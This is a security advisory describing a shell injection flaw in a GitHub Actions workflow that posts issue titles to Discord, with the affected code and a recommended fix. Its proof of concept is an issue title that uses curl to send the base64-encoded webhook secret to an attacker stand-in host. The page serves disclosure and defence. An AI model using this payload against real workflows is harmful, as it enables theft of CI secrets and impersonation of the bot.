# GHSA-f67f-hcr6-94mf: Zen-AI-Pentest has Shell Injection via untrusted issue title in ZenClaw Discord Integration workflow

> Attackers can execute arbitrary commands on CI runners by injecting shell code into GitHub issue titles, potentially stealing secrets.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 20 Mar 2026

## What is GHSA-f67f-hcr6-94mf?

GHSA-f67f-hcr6-94mf is a command injection vulnerability in SHAdd0WTAka/Zen-Ai-Pentest, published on 20 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

The `ZenClaw Discord Integration` GitHub Actions workflow is vulnerable to shell command injection. The issue title field, controllable by any GitHub user, is interpolated directly into a `run` shell block via a GitHub Actions template expression. An attacker can craft an issue title containing a subshell expression that executes arbitrary commands on the runner during variable assignment, enabling exfiltration of the `DISCORD_WEBHOOK_URL` secret. The trigger requires no repository privileges.

## Affected Component

**File:** `.github/workflows/zenclaw-discord.yml`  
**Commit:** `07e65c72656a8213fc9ece2b3f4fc719032cfc5d`  
**URL:** `https://github.com/SHAdd0WTAka/Zen-Ai-Pentest/blob/07e65c72656a8213fc9ece2b3f4fc719032cfc5d/.github/workflows/zenclaw-discord.yml`  
**Step:** `Prepare Notification`  
**Trigger:** `issues: [opened]` — no repository privileges required

---

## Description

In the `Prepare Notification` step, the issue title is assigned to a shell variable using direct GitHub Actions template interpolation inside a `case` block:

```bash
issues)
  ...
  DESCRIPTION="${{ github.event.issue.title }}"
  ;;
```

The GitHub Actions template engine resolves `${{ github.event.issue.title }}` **at workflow compilation time**, embedding the raw issue title as literal text in the bash script before execution. The value is assigned inside a double-quoted string, which in bash evaluates subshell expressions of the form `$(...)` and backtick expressions `` `...` `` at runtime.

Although a subsequent sanitization step is applied:

```bash
DESCRIPTION=$(echo "$DESCRIPTION" | tr '\n' ' ' | cut -c1-1000)
```

This sanitization runs **after** the assignment — the subshell in the title has already executed by the time `tr` and `cut` process the output. The sanitization is therefore ineffective as a security control against command injection.

The resulting `DESCRIPTION` value is then written to `$GITHUB_OUTPUT`:

```bash
echo "description=$DESCRIPTION" >> $GITHUB_OUTPUT
```

This additional write is performed without a multiline-safe delimiter, enabling a secondary `$GITHUB_OUTPUT` injection if the title contains a newline, which could overwrite downstream output variables such as `color` or `title`.

---

## Attack Vector

1. Any GitHub user (no repository role required) opens an issue with a malicious title.
2. The `issues: opened` trigger fires automatically — no human interaction or approval needed.
3. The subshell expression in the title executes during variable assignment in the `Prepare Notification` step.
4. The injected command runs with access to all secrets available to the runner.

---

## Proof of Concept

An attacker opens an issue with the following title:

```
bug$(curl -s "https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)")
```

The rendered bash assignment becomes:

```bash
DESCRIPTION="bug$(curl -s "https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)")"
```

The subshell executes during assignment, sending the base64-encoded `DISCORD_WEBHOOK_URL` to the attacker's server before the sanitization step runs. The attacker can then use the stolen webhook URL to send arbitrary messages to the Discord channel impersonating the legitimate bot.

---

## Impact

- **Confidentiality (High):** Exfiltration of `DISCORD_WEBHOOK_URL`, granting the attacker the ability to send arbitrary messages to the Discord channel indefinitely, impersonating the ZenClaw bot.
- **Integrity (High):** With the webhook URL, an attacker can post false security alerts, fake workflow failure notifications, or misleading status updates to the Discord channel, potentially causing incident response actions based on fabricated data.
- **Availability (None):** No direct availability impact.

---

## Recommended Fix

Pass all user-controlled event fields as environment variables and reference them via shell variables in the `run` block. Never use `${{ }}` expressions inside `run` blocks for user-controlled data.

**Vulnerable pattern:**
```yaml
run: |
  DESCRIPTION="${{ github.event.issue.title }}"
```

**Safe pattern — declare in `env:`, reference as shell variable:**
```yaml
- name: Prepare Notification
  id: prep
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    COMMIT_MSG: ${{ github.event.head_commit.message }}
    WORKFLOW_NAME: ${{ github.event.workflow_run.name }}
    DISPATCH_MSG: ${{ github.event.inputs.message }}
    EVENT_ACTION: ${{ github.event.action }}
    WORKFLOW_CONCLUSION: ${{ github.event.workflow_run.conclusion }}
  run: |
    case "$EVENT" in
      issues)
        DESCRIPTION="$ISSUE_TITLE"
        ;;
      ...
    esac
    DESCRIPTION=$(echo "$DESCRIPTION" | tr '\n' ' ' | cut -c1-1000)
```

With values passed through `env:`, the Actions engine sets them as environment variables before the shell starts. Shell variable references (`$ISSUE_TITLE`) are expanded by bash at runtime without executing subshell expressions embedded in the value.

---

## References

- [CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)](https://cwe.mitre.org/data/definitions/78.html)
- [GitHub Actions Security Hardening — Understand the risk of script injections](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)
- [Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)

## Which versions are affected by GHSA-f67f-hcr6-94mf?

1 open source package ship an affected version, including SHAdd0WTAka/Zen-Ai-Pentest.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `SHAdd0WTAka/Zen-Ai-Pentest` | GitHub Actions | All versions to 3.0.0 | None |

## How do I fix GHSA-f67f-hcr6-94mf?

No fix has been published for GHSA-f67f-hcr6-94mf yet. Limit exposure of the affected software until one is available.

## Is GHSA-f67f-hcr6-94mf being exploited?

There is no known exploitation of GHSA-f67f-hcr6-94mf in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-f67f-hcr6-94mf and fix it if it is affected.

What it is: GHSA-f67f-hcr6-94mf is a command injection vulnerability in SHAdd0WTAka/Zen-Ai-Pentest, published on 20 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-f67f-hcr6-94mf in the wild and no public exploit code.

Affected packages and fixed versions:
- SHAdd0WTAka/Zen-Ai-Pentest (GitHub Actions): affected all versions up to 3.0.0; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-f67f-hcr6-94mf/ (Markdown: https://insights.sbomify.com/GHSA-f67f-hcr6-94mf/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-f67f-hcr6-94mf

---
From sbomify Insights: https://insights.sbomify.com/GHSA-f67f-hcr6-94mf/
Summaries are generated and may contain mistakes; the official description above is the record.